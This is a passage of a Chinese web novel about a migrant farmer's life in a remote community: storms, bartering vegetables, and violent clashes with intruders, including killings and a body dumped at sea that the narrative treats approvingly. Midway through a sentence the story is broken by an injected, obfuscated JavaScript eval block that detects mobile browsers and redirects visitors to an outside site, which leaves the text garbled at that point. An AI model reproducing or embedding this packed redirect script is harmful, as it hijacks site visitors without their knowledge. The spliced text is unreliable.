哦,无话可说了。“跟公婆那边说的时候你要注意分寸。”说是留学,在国外定居,但现实过得如何也只有自己清楚。 “知道!”秦健并不觉得妹妹过得很糟,可也不觉得有多好。照片里她一直是那类冲锋衣裤,虽然单价不便宜,但那件衣服似乎穿了有七八年了? 家人在那边不知该如何评价的时候,苏茜倒是进展良好。她硬生生靠着半拉子驾照和其实是找路边改车铺改装过的电动辅助三轮车,建起一个简易大棚水培菜园子和一个简易太阳能淡化装置。 这时第二年的冬天都快到尾声了,而且苏茜终于拿到了驾照,买了辆二手皮卡。 “嘿,苏茜。” “嘿,罗欣诺尔。” “对了,能帮我留一些菜吗?别开收据。” “好的。” 对了,这位物业先生还兼职帮人报税兼卖保险甚至还是巡逻保安,配木仓的那种!但拿的木仓型老旧,有效射程应该在25米以内,还不如社区大部分居民的“收藏”——他们这里起码有两把半自动呢!苏茜没有公民身份,也不打算入籍,因此不能买木仓,不过她欢迎“战利品”啊!说好的木仓械犯罪很多的呢,难道是因为这个社区太穷太偏,连犯罪分子都懒得跑来? 社区里的易物、劳动交换很常见,花钱反而少,因此苏茜种的那些可以直接吃的菜和香料——甚至一直有检验微生物、菌群等等,让邻居们特别高兴不需要浪费汽油跑很远去买并不新鲜还一堆农药残留的贵价菜——能换到各种需要的和不是很需要的东西,还有劳动力。好几位男士就来帮忙运木头、液化气罐、物流货物等等,几位女士则是代采购没法自己种的食品和日用品,甚至有位老先生拿来自己做的贝壳首饰……以此来交换菜,交换价格很随心,收入当然很低,只有当地币一万上下,导致她始终“只能”按最低的个税税率交,比狮城还低!按汇率,狮城的收入是现在的十倍左右,不过开销也是十倍左右,毕竟光是吃现成的花费和自己做就能差一半多。 她将交换来的一堆用不上的东西,以及本地产的面霜等寄回了渝城。然后继续种树、种做绿肥的养地作物,并且建了个新菜棚,这里用的是种植箱,栽种蓝莓等水果。最值得骄傲的是,村道到海之间,不仅种了绿肥植物,还自己动手做了好几个太阳能海水淡化装置,加上提前用磨碎打细的牡蛎蚝壳粉末过滤海水里的其他杂质,哪怕功率很低、效率奇差,还要加上岛上自产雨水,也能基本做到种蔬果的水自给自足不需要动用过多自来水。 岛上的季节与现实是反的,所以苏茜住自家岛上的时间比较多些。 在经过提醒后,她放弃买个旧集装箱做小仓库的想法,而是加固现有房屋,就是怕被暴风雨甚至这一带罕见的热带风暴、飓风给吹走。可移动小屋也可能被洪水送走,所以屋子里没有任何有价值的东西。 因此在暴风雨警告后,苏茜迅速转移东西、包括太阳能装置和价值高的自动小机械,连车子都贴着原来的屋子后方停靠以减少损失,连可以用来烧的小树和牧草都砍走收割,至于一直长得不好的红树就放在那了。 海滨平时的雨就有可能是大暴雨,发出暴风雨警报的意思就是能把车房都吹倒,大树连根拔很正常。于是苏茜从不大的玻璃窗里看到一辆小车翻滚着被送进海里,更不要说大量的石子树木杂物,自己的屋子似乎也被什么打中发出一声闷响。 入夜时分,风雨小了很多。移动小屋没有被送走,不过一根大树差点把她原本的屋子砸坏。这木头不错,一人都无法抱住,而且还有大量枝叶可以砍了烧成绿肥。她冒雨用锯子锯树——断电,电锯用不了——先解决房子的危机,其他的明天再说。 42.种菜要专业(七) 第二天,风平浪静、蓝天白云、温度适宜,自来水正常供应,用起自家的小发电机,不看地上的狼藉真的无法相信昨天有多可怕。苏茜处理完今天的食材用电饭锅一口气将米粒荤素都煮上,就抡起斧子和二手园艺大剪刀料理这棵树。先将树叶大致剪下、枝桠全部扔进一边充当燃烧桶的废弃金属桶——这玩意她大大小小捡回几十个——不停有黑灰色烟气冒出来,而且因为有几块木炭助燃,一点水渍不会熄灭。树叶则是扔进浅浅铺了一层土的种植箱——同样是废弃物——放得差不多了旧加点菌液,再铺一层土。深的种植箱重复几层,浅的只要一层。 十好几个居民过来围观,问明白了又换别的人来围观。 “……这就像能量守恒定律,你需要好的营养,那就要给养育这些蔬菜水果的泥土营养,通过光合作用,转化为我们身体所需。”社区里没有青少年和儿童,不需要耐心解答。 “我确实喜欢蔬菜屋子里。”水培蔬菜玻璃棚这次幸运地没有损坏,只有一片玻璃碎裂,已经换上新的了。棚里即使面积有限仍然配了花园桌椅和自助咖啡机,一块就能喝杯现磨咖啡,牛奶也自己加,就是得自己带杯子来,大家拿这里当便宜的咖啡角。 “蔬菜也欢迎二氧化碳,就是我们呼出、还有烧木头和煤产生的二氧化碳,用于光合作用,产生的氧气又会让人们感到愉快。” 苏茜开了一盒牛奶放在一边,给自己做了杯拿铁,其他几个人见状也自助了一把,同时将硬币或钞票放在边上的钱盒里。蔬菜其实也是标着整数价的,跟超市相比略便宜,不过很多是大概估算过价值的易物交换罢了。 到目前为止,还没有人白拿或白喝。说实话,尽管用的咖啡豆不怎么样,可一块硬币的价格仍然极具竞争力,总比邻居们自己买咖啡机或整磅咖啡豆和滤纸自己磨粉过滤方便。 还有就是,这种低于十五度的天气里,在烧着炉子的温暖阳光房里花一块硬币坐着喝杯热饮聊几句天极为舒服,可比去蹭小罗欣诺尔的空调被赏白眼好多了。 水培蔬菜棚即便经过扩建,也只放得下两套桌椅。尤其是暴风雨过去,略有些惊慌的人们聚在这里,即使没有座位,拿着热咖啡聊天压惊也挺高兴。 苏茜一边干活一边回答老中青们的各种疑问。 “啊,你居然在德国念了农学博士。” “对,不然怎么能一个人搞定这么多东西。” “你一毕业就来了?” “不,之前在狮城工作了五年,也是做一个水培蔬菜棚,不算商用,主要是体验展示的。那家公司主要卖的是设备、安装和技术服务。”就是没做好。 “真厉害!”难怪买不起大城市的房子,呃,做农业的似乎都不富裕。心里瞬间平衡! “很辛苦吧?”哦,新移民,大家都懂。 “还好,我不喜欢一堆人挤在一个大办公室里,人人说话勾心斗角。一个人做点实实在在的事情多好。”苏茜去洗了个手,调配物料,继续去水果棚里干活,十分钟后过来道,“有一箱蓝莓明天就能吃了,想要的明天来,自己摘。我明天不在。” “好的好的!”可以挑大个的,而付的钱比超市的还便宜一点。 “需要帮忙吗?” “不用,我就是去收集倒下的树木。” “呵呵呵,好啊!我们不会少付一分钱的,放心!” “放心吧,我们帮你看家!” “哈哈哈!” 邻居们别管在外面是不是一言不合就拔木仓甚至真的混过邦派贩过军.火什么的,反正在平时熟悉的社区还是很好的一群人。 菜都弄完,回来将之前刚用助力三轮拖回来的一棵树劈了。 就着之前留下的大树底部作为墩子,先电锯锯成小段,然后不锈钢木柄的斧子两下一段全部劈小。 不到一小时就完工。苏茜觉得自己也是顶顶和善好脾气的人,丝毫不觉得自己手握的电锯斧子的样子让在外真会拔刀的人咽下所有的调侃: 这位苏博士看起来真像个冷酷杀.手,分.尸的那种。 尤其是大家看她整理搬运的东西里还有个奇怪的东西。 “这是弓吗?” “是啊,英格兰长弓,百年战争中,阿金库尔战役里以少胜多的重要武.器。” 没听懂。 “那个,是古代?”百年战争?听上去听厉害的样子。 “对,好像是1415年吧,英格兰和法兰西打起来。可以看作是英格兰的平民长弓手对奥尔良贵族重甲骑士的胜利。不过另外有说法是当时法兰西军队中,奥尔良、波旁等几个实权公爵正巧不在,其他的伯爵和大臣们没有绝对的权威、战斗经验和临场应变不足,互相缺乏配合,另外内部争夺战功也是失败的原因之一。而英格兰这边是亨利五世亲自指挥、还联合了与奥尔良有仇的勃艮第公爵;他的王后是法兰西的神经病查理六世和巴伐利亚公主的女儿凯瑟琳,凯瑟琳的儿子亨利六世虽然在玫瑰战争中失败被爱德华四世杀了,但她的孙子、兰开斯特家的亨利七世就是那位结束了玫瑰战争、娶了约克家的伊丽莎白公主为王后的‘贤王’……”苏茜难得跟人扒历史,尤其喜欢名字都一样、特别容易搞混淆的那些。 “……”这都是啥啊?人名满天飞的奇奇怪怪描述!苏博士还记得大家是新国人,没学过那么多英法历史吗? “我就记得兰开斯特和约克通过一场婚姻合并,之后就是都铎王朝。亨利七世鼓励工商业,当时难能可贵。”罗欣诺尔突然接了句。 “哦,都铎王朝,我看过。” “历史上的亨利八世可没有乔纳森那么帅。” “话说,他那位可怜的王后也叫凯瑟琳?” “西国公主。” “……” “……” “罗欣诺尔,你学过英国历史?”有位女士突然反应过来。 “是啊,我是英籍移民。” “我以为你是法籍移民。”苏茜随口道。 “哦,我生父是法籍,不过我从小跟着妈妈在英国读书,后来移民新国,法语都说不溜。”不愧是在欧洲读书的博士,能从姓氏的读音看出来。“那你会说德语的吧?” “是,德语读写,法语略差。” 罗欣诺尔不再说话。他的法语大概比略差还差一点吧。 社区里没有法籍移民,但居然有两个德籍移民,甚至也是南部人。三个人用类似口音说话,大有相见恨晚的意思。 苏茜回去就开始上网搜索历史记载。甚至直接从文库里大量复制黏贴打印塑封。 史到用时方恨少!她时不时犯历史错误,忘记重大事件,现在不仅要重新拓展,还要拼命记忆,不管是语言还是历史,都要记! 哦,对了,传染病别忘记了!算算药物和肺炎疫苗的时间差不多了。 苏茜找了个理由急急忙忙给秦健打国际长途,让他接收邮件,列出来一份药物和医疗物品清单,包括但不限于退烧药和口罩,已经叮嘱所有人包括幼儿一定要打肺炎疫苗。 虽然此疫苗非彼疫苗,但起码稍微有点安慰,尤其是口罩?苏茜自己也去采购了一批,很便宜,所以她干脆连可以拿出来的、用到或用不到的应急用品也都买了。 社区里的人没有笑话她的,因为几乎家家都有装备,尤其是一个人独自居住的储备更多。 “……压缩饼干其实并不好,我推荐这种综合燕麦片,加上小瓦斯炉、过滤水壶和净水片,当然,塑料水桶你买了吗?多买几个可以折叠放的桶,这个很重要,看见下雨就拿出来盛雨水,我们这里下雨并不平均。”七十出头的老妇人失去丈夫和儿女外孙之后,一个人在这生活了快二十年,对了,她有支□□,没注册的那种。 “好的,谢谢您!”苏茜又塞了几棵菜和一包蓝莓给她。 “不客气。”老妇人很高兴苏茜如此大方。 大家都知道苏茜的经济状况,她的收入并不比普通人的退休金多,平时不买海鲜和价格高昂的食品、饮料和酒,更不要说成瘾的玩意;一年只买两三件衣服鞋子,全部是速干、冲锋、保暖、防雨、抗磨损之类的,内衣袜子两年才更换,化妆品只有淡彩润唇膏和防晒霜以及护肤精油,还没有玫瑰精油这样昂贵的品种——其实他们并不知道石斛、人参、灵芝孢子、沉香等精油同样不便宜,而且更不知道苏茜正巧看到网上广告,“进口”了一批密封包装的涤纶布料和不锈钢强力剪刀钳子。涤纶是要两百年才降解的非环保材料,苏茜当然要备着,预防跑去哪个时间地点却没衣服穿。另外就是食物,这个,得几十年后。想到有一次要不是有点蜂蜜和糖的“古老存货”就要活活饿死就心塞。 天气重新转暖后,才舒服了几天,居然又出了暴雨警报。 “以前很少有连续警报的。” “不一定成真。之前不是还有海啸警报吗?结果没多大的浪,我还能去钓鱼呢。”他们这里不是海钓和观察海洋动物的好地方,路况差、没啥风景还没有码头,因此没有投资、没有游客。 “不过还是得做好准备。” “那当然。” 两位老先生边聊天边在唯一的家庭小餐馆里等吃的。 苏茜过来送菜,然后被老板娘拉住叮嘱:“暴雨肯定有,就是不知道会不会有山洪和山体滑坡。其实我们这里没有河,不会有淹没的危险,但是我们往镇上和城里的路有可能被毁,电线网络甚至自来水也很难说,所以要做好准备。” “好的,谢谢!”她自己的非常齐全,可远不止这些嘿。 居民们几乎将能收获的蔬菜水果都买空了——都是用钱而不交换。 次日,没有天光大亮,因为天光一直是暗的。 然后很快的,毛毛细雨变成倾盆大雨。 风不算太过剧烈,但雨势大得可怕,整个世界似乎都被雨幕遮住,远山、近海、房屋、道路,什么都看不见。三角形屋顶和玻璃窗户没有响亮的雨打声,只有水流声。风向变了下,雨差点从门外倾斜到玄关,苏茜立刻将门关上。 很快的,意料之内,停电了。 室内一片昏暗。 苏茜用了发电机维持冰箱和大棚用电,再回岛。岛上现在十分舒适,温度摄氏22度,湿度60%。先去出海搞点鱼,回来加调料清蒸,同时煮些意大利通心粉再加一把蔬菜。简单吃完,休息下,修炼练武再喝一杯绿茶,继续读书背书。 出岛看情况,发现仍然是倾盆大雨完全没有停的意思,从发电机带动的小冷冻柜里翻出来披萨饼,热一下吃了,再来一把保健食品和膳食纤维软糖,练武修炼后睡觉。 第二天,雨势略小。 苏茜全副武装出门看蔬菜棚的情况。除了有些漏水渗雨,其他都好好的。车子也在原地被洗刷得外表非常干净。其他东西都收回来了,所以没损失。 哦,也没有邻居来买菜。 第三天只有小雨。 社区里没有倒塌的房屋,最多漏雨进水。车辆还都在。人没有一个出事的。但,果不其然地,今天仍然停电。自来水供应倒是正常,但有今年底可能出现干旱的警告。 苏茜在暗沉沉的天气里开灯,并且继续用咖啡机,表示可以来买菜喝咖啡聊天。 居民们来了好几个人。 “去城里的路冲断了……不是三年前的那段,是另一段。不过那条小路,对,去卖场和镇子的路是好的……”罗欣诺尔很认真地第一个跑出去看情况。“电话线和网线可以用,因为不走那条断了的路。手机也有信号的,需要充电的话去我那里。” “没事,缺什么东西大家互相凑一凑。” “这里有两个插线板,但是功率不大,不能带洗衣机,但是手机和应急灯这种充电没问题。”苏茜这个玻璃大棚的门晚上这段时间是不锁的,她演示了下如何从里面和外面开门。不过现在门是开着的,因为还有个烧木炭的小炉子在提供温度和二氧化碳,整筐的木炭放在边上,意思很明确:如果家里进水甚至更糟,可以在这里休息。 好几天都没有电,但是比这个更糟糕的是一群,或是说七个造型颜色各异的人开着辆乱糟糟的改装七座车跑来“攻占”社区。 所有人都不知道这群都已成年的家伙脑袋里装了什么:连木仓都没有,就棍棒? 就这?! 被雨水和停电搞得非常暴躁的中老年人——在那些白痴眼里,苏茜也属于没用的、需要被驱逐的中年女人——冷笑着举起了武.器。 苏茜不是没有热武,只是不能拿出来。不过既然对方是棍棒,是吧,她,举起寒光闪闪的斧子。“私人土地,滚蛋!” 热.武.器对付棍棒有过度防卫的嫌疑,但这帮人打算砸她的玻璃大棚,就别怪她不客气!哦,她今年拿了永久居住权,但仍然弄不到持木仓证。 不过没关系,德国工匠加工制造的特种钢斧可是很猛的。她一斧头将一个棍子砍成两半,并在对方吓得尖叫的时候用斧背劈晕了对方。 其他六个家伙则是每人挨了至少一颗子.弹。其中一个脚踝肯定被打碎的是貌不惊人的罗欣诺尔打的,非常精准,只打一发不浪费、没打偏。 “好木仓法。”苏茜冲对方点头。 “你也很棒。”铁器打晕,外表没有流血,被打的捂着后脑勺还能挣扎着求饶,看上去似乎还行。但很可能头部出现“小小”的问题,不花钱做检查是不行的。 大家乐呵呵地将这些人扔进他们的车上,然后打电话报警,声称被七个暴.徒攻击。 警察两个小时后才赶到,而且还是一老一少两个警察。 吃饱喝足,还免费得到一大杯热拿铁的罗欣诺尔作为“保安”出面交涉。 为了保护自己的财产,将手持武.器的家伙打翻在地——没杀死,完全属于正当防卫。而且大家都是合法木仓支或是自家“农具”,比如说苏茜的那柄斧头是伐木工专业斧,比如说叉鱼用的鱼叉,是吧。而且这群活着的暴.徒的伤口还被上了似乎用处不大的外伤药。 警察在全社区的“积极”配合下,做了一个小时的笔录,拍照取证,也没收走大家的武.器,趁着下一场大雨来临前开走了两辆车。 苏茜他们还拿到了这些人的信息。 “我拍了照,每个人的大头正脸。” “我记下了他们的驾照号码。” “警察登记的他们目前的住处。”这是苏茜的贡献。 “电话。有个人的手机掉了,我带了手套去翻找了本机号码。” 看来,这个社区真的藏龙卧虎呢! 苏茜满意地微笑,“罗欣诺尔,麻烦跟踪下案子的进展吧?”她拍拍对方的肩膀,在他的工装上衣口袋里塞了两张大额纸钞。 有人看见了,也塞了钱过去。 罗欣诺尔本人也挺高兴的。不过他现在要给公司写个报告,让公司安排律师一起跟进。 苏茜分享了自己的信息,然后回家继续干活。 别管怎么样吧,一年后这七个人从本州消失了——当然不是警方和检察官的努力,因为这些年轻人没有成功地杀死任何一个居民,自然也不需要坐牢,连案底都不一定有,倒是回击的居民差点因此被告上法庭要求赔偿,包括医疗和精神上的赔偿。 这就是人道至上的法律,罪犯必须被照顾得妥妥贴贴,犯再重的罪也只要关十年八年就出来,但被害人死了没人关心,当然如果被害人有钱有势那又是另一个故事了。 可话又说回来,那七个人不去找律所、警局和法院,也没有得力的亲属站出来,这个社区做了什么同样没人在意。有的时候,苏茜还挺喜欢这种被漠视,即使战利品几乎没有,这帮蠢货不仅没什么钱,连把木仓都没有!对了,那辆犯案的车还是赃物被收走,可因为无法断定就是他们偷的而不存在盗窃罪。 这种普通人呼吸都有罪、有罪者的所有权利都必须被悉心呵护的逻辑并不能让苏茜有情绪,社区里其他人也同样没有情绪。 此事过后,苏茜完全融入了本地,即使她是华籍。 秦健的娃们不再需要奶粉,她寄回去的礼物又改回了保养品和健康食品,以及新国甚至南极的各种风景明信片。 “苏茜,你的蔬菜大棚需要扩建吗?” “不,大家生活吃的够了。怎么了?” “……那你招工吗?” “不招。不过可以溢价卖掉这块地,连同工具、电器、家具,还有设备,包括发电机,但车子还有纺织品我要带走。” 来问的小伙子其实也称不上小伙子,年纪比苏茜略大,是卖了城里的房子、辞了工作来陪伴八十岁的鳏夫老父亲。 “……多少?” 苏茜说了个数字,几乎是“进价”的两倍,毕竟她的设备和劳动力也是钱,而且房价在涨不是。 “真的?你真的卖?”很便宜啊这个价!他尤其眼馋那几套海水淡化装置。买的话贵或是耗电,不买则在停水的时候很难过日子,何况现在的自来水水源地似乎越发糟糕了,让他更无法信任自来水。至于买矿泉水——还不如跟苏茜买装备。 “卖啊!”算上所得税她也是赚了的。“不过契税你出。想好了哦。” “当然!”连地带房子设备玻璃蔬菜大棚加上“一点点”契税,都及不上他原来房子的十分之一。 苏茜也高兴,她有些腻味昼夜不停的海水拍打声,而且这房子太小太破。 结果两个人连律师都没请,就跑去办了过户,苏茜还赶在报税的日子报上这笔差价“收入”。 等她开了车子走人的时候,社区里的人还没反应过来。 “她没多要钱。”一位平时不太说话的老太太听到买主付出去的金额后难得的发表意见。 “我知道,所以我在她没盘算好之前赶紧先办过户。” “苏茜现在喜欢峡湾和雪山的风景,她可能是腻了海边的景致,毕竟这里没有漂亮的沙滩和棕榈树。” “我们国家也没有这种风景吧?” “……” “……” 社区那边的议论与苏茜无关,她很高兴可以度个旅游长假,顺便不需要精准计算明面上的收入支出。 秦健则是比对着妹妹卖掉地产的价格:仍然只有自家三室两厅现价的一半,可他还有七年的贷款要还,妹妹则是现金到账。 现金到账的苏茜没有把其实并不多的钱用来买游艇自住,而是接手了一块还有五十几年租期的地,也就是几百平米的地加一栋十年的水泥顶木屋,水电气网络都是现成的,加上建材、维修、家电、家具、日用品,大部分卖地产的收入都花完了。 所以,自己还是得有份明面上的收入来源。 * * * “这块区域的空气真好是吗?哦,请不要给我看数据,我不懂这些数据的意思。”女店主莎洛特瞪着绿油油的菜叶子半晌,最终将一颗小西红柿直接放进嘴里。“嗯!好吃!不会太甜,也不怎么酸。” “薄荷叶泡茶不错的。”苏茜也吃了颗小西红柿,还摘了一把绿叶放进随身带来的保温杯中的热茶里。 “哦!放心,我会付钱的!” “没事,你可以选择只付给我设备安装和技术转让的费用。平时也不是时时刻刻都有客人,你可以自己种,自己吃,还可以卖给一些想要新鲜有机蔬菜的客人。” “……真的?” “对,五千块就行了。” “……只要,五千?”一次性买断啊买断! “是啊,我又不想天天跑来干活。”还挣不了几个钱,搞不好得倒贴房租。“对了,种子、营养液、温湿度你要注意。” “……那我能不能从你这里直接进货?比如不要一公斤的种子,只要一百颗,又比如不同的营养液你配好了给我?” “要不这样,我告诉你进货渠道,也会帮你调配好,空了的话过来看看情况,代价是种出来之后我直接免费拿走自己一个人吃的?也就是说你拿种出来的蔬菜水果交换我偶然的劳动?”五千加免费食材,她赚了。 “好啊好啊!”赚大发了。技术人工贵得死去活来,最要命的是镇上没有!看看她店里的那些“新鲜”蔬菜,最早也是四五天前收获的、一周前的则是平均时间,而且到了寒冷的季节就只剩下土豆洋葱之类让人毫无胃口的玩意了。现在她看到透明水里长着的吃食简直眼睛都在流口水,于是又掰了一片水嫩的生菜叶子放嘴里——一回头,两位女顾客正笑眯眯地等着她放价格标签。 …… 小镇旺季能有好几千人来来去去,淡季才几百居民,是个季节性聚居区。可又不是社区的概念,因为切切实实叫镇。 苏茜刚来的时候第一件事就是种树,房前屋后地种上耐寒的松树。本地夏季凉爽,冬季湿寒,几乎人人穿冲锋衣,防雨防寒耐磨的最佳选择,正适合苏茜。 小屋其实是一层半,阁楼的窗正对着远处的雪线峰顶。如果不是完全没有灵气,她连修炼都想在这间略矮的卧室里。 屋子外表“古朴”,实用面积也不大,天然气供暖的消耗当然少。家里人看到这间房子和周围的地面都很吃惊:小闺女这是转性了,跑城里来了?结果秦健在网上查了好一会才找到这个小镇,常住人口数甚至让他一个个位数数过去。这个数量连家乡的村子都不如,可从窗口拍到的照片又委实漂亮得不行。于是他找了纬度,算下位置,这都快要接近南极洲了吧?可看着7月的最低温度也没比渝城低多少,而1月的最高温度……让夏季得靠空调活命的人叹气啊! “那里的夏天真不错。”连老人们都在叹息:他们被热得头昏眼花,这几天基本待在空调间看电视发呆,只敢在早上7点前或晚上10点后跑外头接接地气。老家那除非跑山里与蚊子同住,不然也就是低一二度、完全不顶用。 “冬天经常下雨,室内要开暖气。” “暖气好啊!我们这里不也冷得要开空调取暖器。” 对的,所以当苏茜压根不想处理一身酸臭的厚实衣物,拿走木仓,也不搜了,然后直接将尸.体拖到自家海里扔掉。 开张大吉。 木仓里还有六颗子.弹,搞不好还是注册过的,够用了。她将战利品放好,回到阁楼,继续享受好风景。 当然没有人为了这个持木仓入室的瘾君子劫犯来找她询问。直到快开春了,镇上发现一辆过久无人开走的车子,联系不到车主,算了算费用,最后决定拍卖掉,用来支付停车费和拖车费。 苏茜没去凑热闹。她的小货车还能开,没必要再浪费钱。潜入温度适宜的海底,各种生物游来游去,海藻中的鲍鱼和海胆一大把,只要不口气弄光都行。产珍珠的蚌壳也有不少,更不要说很多好吃的跟不好吃的鱼。 相反的季节让小岛成为苏茜六七八月的海钓潜水最佳场所,那些还能用的木船如今派上了用场——坏了有得是替换,不行还有现实里买的小艇。另外,由于邻水靠码头,厨房里经常飘出水产和现烤奶酪面包的味道也是很正常的事。 苏茜平时也另有“打零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122014|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工”的工作:翻译。口译笔译都做,最多的是多语种招聘广告菜单。由于她翻得很地道,几乎各个店主、小旅行社都来找她,一些有船有职业导游的旅行社倒是不需要,尤其是华籍导游多得是。 “苏茜,给我四分之一个坚果奶酪面包。” “好的。” “苏茜的面包坊”不是每天都营业,而且卖得品种很少,多数都是大块头、低脂低糖,可以放几天的类型,也是不跟莎洛特竞争的意思。莎洛特的小超市里卖得最多的是饮料、甜点和雨具、披肩之类,而苏茜卖的面包里放的白糖和黄油很少,不喜欢吃得如此“健康”的人,配餐用的果酱黄油芥末酱等也是去莎洛特那里买。 所以莎洛特投桃报李,在苏茜拿到许可证之后就经常来买面包。 “我最近瘦了两磅,哦,都没穿外衣鞋子站在同一个称上,我觉得应该是最近没有抹黄油的关系。”莎洛特为了穿泳装,控制饮食已有一个多月。 “脂肪加碳水化合物,等于增肥,而且更难减掉。所以你的饮食改变非常正确。另外,少喝果汁,尤其是果汁配牛排,这样吃一餐全天需要的热量都够了。” “啊,糖。” “是的,葡萄糖和果糖,都是糖,会跟脂肪一起变成肚子上多余的肉。还有,你那些酱料的热量也非常、非常可怕。” 莎洛特苦笑着摇头走了。她最喜欢的就是甜甜的冰果汁配黄油煎出来的牛排还要浇两份酱料啊!自己是不是应该庆幸再吃不下一两个甜点什么的。 * * * 这一年,传染病开始在全世界流行。流行之前,苏茜给家里寄了一箱子医疗用品和常见药。而秦健也买了些“备着”,然后就派上了用场。 “游客一天比一天少,很多人都开始不再买非必需品了。” “值得安慰的是全世界都这样,所以不需要担心镇上的人都走了只留下我一个人等死。” “总会过去的。” “是啊,我也是这样安慰自己。” 两个妇人无奈地聊着天,当然不戴口罩!不然花在口红和粉底上的钱不就浪费了? 苏茜也不戴,但她平时不怎么出门,卖面包也是移动支付加自己在钱盒子里投钱——有明晃晃的摄像头在,而外来者很少,因此还真没有赖账的。 莎洛特带着口罩朝苏茜挥挥手表示打招呼。苏茜也没多停留,就是默默检查设备和蔬果的情况,然后买了东西付账离开。超市距离她家不远,一辆购物小车就搞定,所以她都是走路来回的。 凉飕飕的雨下个不停,加绒雨靴和冲锋裤完全无惧积水和雨水。回到家,最后两个便宜面包都卖掉了,只剩一只“高达”十二块的招牌面包没卖掉。苏茜直接拉下售卖窗口的门帘,再锁上门。她家现在全面改装,不高的围墙上大大方方有朝内的摄像头——朝外的话会被邻居投诉——门除了门锁,还有一个钢门闩;拉着纱帘的窗户看似可以轻易爬进来,其实里头还有一层钢栅栏装置。至于阁楼,只能说除了铁丝网不仅是通电的,还有子.弹或飞刀等着闯入者。此外,这房子没有烟囱。其他比如火灾之类就更不怕了,苏茜一年里有超过一半的时间都睡在岛上,全无危险可言。 但即使这样武装到相当地步,苏茜仍然“迎来”第二个入室劫犯,先是被电得昏过去,然后就去见了上帝,身上的武.器和现金自然都是战利品。 嘿,还是镇上的人,不过是混混,听说有药瘾。苏茜特意清空了摄像头的录像,还自己动手修好了窗纱和窗玻璃。不过完全没有人为此找过她,显然有些过度谨慎了。 全世界包括这个偏远的南岛小镇都沉寂下来。 苏茜没有被感染,或者感染了情况不严重。但年近九十的俞凤英因为老年性心脏病在一个凌晨过世了,第二年是苏家艮被一辆车撞伤然后并发症过世。反正跑赢了平均寿命是真的。 苏茜回不去,家里也没办什么追悼会。 一切安安静静的。 秦健倒是意外地迎来了第三个孩子。苏茜则是在传染病空档期给他寄了一年份的奶粉。他们夫妻都是工作时间不是很严格的人,自然收入也不是很稳定。但好在他们花钱相当谨慎,房子暂时够住、贷款提前还清,加上年纪还不算太大的老人帮忙带孩子,总体生活水平并未掉落。 苏茜就没多管家人的生活,她只是不定期寄回去老幼用品,顺便跟本地的西风带气候抗争下。 俗称水灾。 中上游已经疏散了好几百户,他们这个镇子接近入海口,水网多,但没有收到撤离的命令,但洪水警报是有的。 苏茜家这一片是地基垫高的,下雨本身不会进水,而且距离可能山体滑坡的地方也很远。唯一可能会出现的就是整个区域被淹。 不少人去自家游艇,但水面风浪大,船上反而更危险。还有人在阁楼窗口放着折叠船,比如苏茜。她已经将家里能动的东西整体移去岛上,除了车子。 可偏偏,这个时候手机收到撤离的消息——可以想象多少人在自家阁楼破口大骂:他们能撤到哪啊混蛋!海里游泳吗? 接着苏茜就看到外面一片汪洋。就是水不深,起码她家一楼正好因为背对水冲刷而来的方向,虽然有地基不稳的风险,但没进水,而是冲下去了。 大水哗哗了一天半才慢慢退下去。苏茜检查了自家和院子,车子没泡水不用担心,房子里没有水渍。目测包括莎洛特那间超市在内,镇上居民的大部分东西都能保住。心情大好之下,她第三天居然挂出卖一天特价面包、蛋糕的牌牌,边烤边卖的那种,还特意标明是苹果发酵液而不是工业酵母粉做的,以及正常糖和黄油。一开始一个客人也没有,然后突然的,似乎半个镇子的人都来抢购她的千层酥和水果挞以及所有的发酵面包。 “我用掉了好几磅苹果,所以成本比酵母粉高些。”她如此解释其实没有那么特价的原因。“原料也都是莎洛特那里最贵的。” “对的对的,上周她把我那里最贵的五包低筋面粉,还有两磅重的地产黄油,都买走了,原来做了这么好吃的蛋糕!” 莎洛特本人出来作证。她已经把微温的蓝莓芒果挞吃掉了,正返回排队买其他坚果挞。 这几个小时不下雨、不积水,温度还突然高起来,全镇的人都跑出家门晒太阳去水气。苏茜将东西全部卖完,关门,也跑出来去莎洛特的超市里抢走最后一瓶本地产的干白,以及一整箱的雪碧。雪碧配干白,没毛病。而且也没有花完甜点上赚的净利润。 倒是莎洛特跑来跟她谈合作。 镇上的甜品店前年关门后一直没有新的,她的超市又不可能卖新鲜甜点,所以苏茜成了超市专用甜点师,两天做一些,品种不限、完全看心情和原材料——经常是用快要过期没人买的罐头,这样价格还能低十几分钱。 秩序恢复得很快,原因一是大水一来团伙们都来不及准备好,二是这一带人太少而且可能挑事的混混还莫名其妙不见了,三是水电气网和物资供应没有太大问题。 “幸好我囤了很多口粮,不然大家吃饭会成问题。”看看,救援刚到他们这里,少数一些被水冲走的房子人员都跑出来了,但是道路至今仍然没有恢复。 “我也囤了很多,从你这里买的。” “就是就是,莎洛特,继续啊,道路一修通立刻要货,不行我们一起去运回来。” “苏茜,明天还有甜点吗?” “有,甜的,还有。我还有好几罐果蔬发酵液。” “我记得你前天还是用的苹果发酵液?”虽然不知道与酵母粉有什么区别,但听起来就是很高大上的样子。 “苹果的用完了。现在有玫瑰草莓胡萝卜南瓜西红柿花椰之类做的综合发酵液。我一开始经常用单种水果,后来发现综合蔬菜、水果、小麦甚至加上玫瑰、茉莉等等也很不错。” “听起来很好吃。” “是啊是啊。” 莎洛特看着苏茜点点头,没多说。发酵液的原材料大部分都是一时卖不掉的蔬菜,用来物尽其用也是减少损失了。而且不得不承认,用果蔬发酵液做出来的面包蛋糕口味上确实比工业酵母粉做出来的更好。 现在超市里几乎空了大半,库存几乎清空,都是被大家抢购光的,等陆运或水运一畅通就得立刻补充。 苏茜在支付各类保险之外,终于收入首次接近两万,“喜提”高一个档次的所得税率,暂时摆脱“穷人”的帽子。 * * * 若干米的浪头扑向自己时,苏茜下意识回了自己的岛。太可怕了!那个是海啸吧? 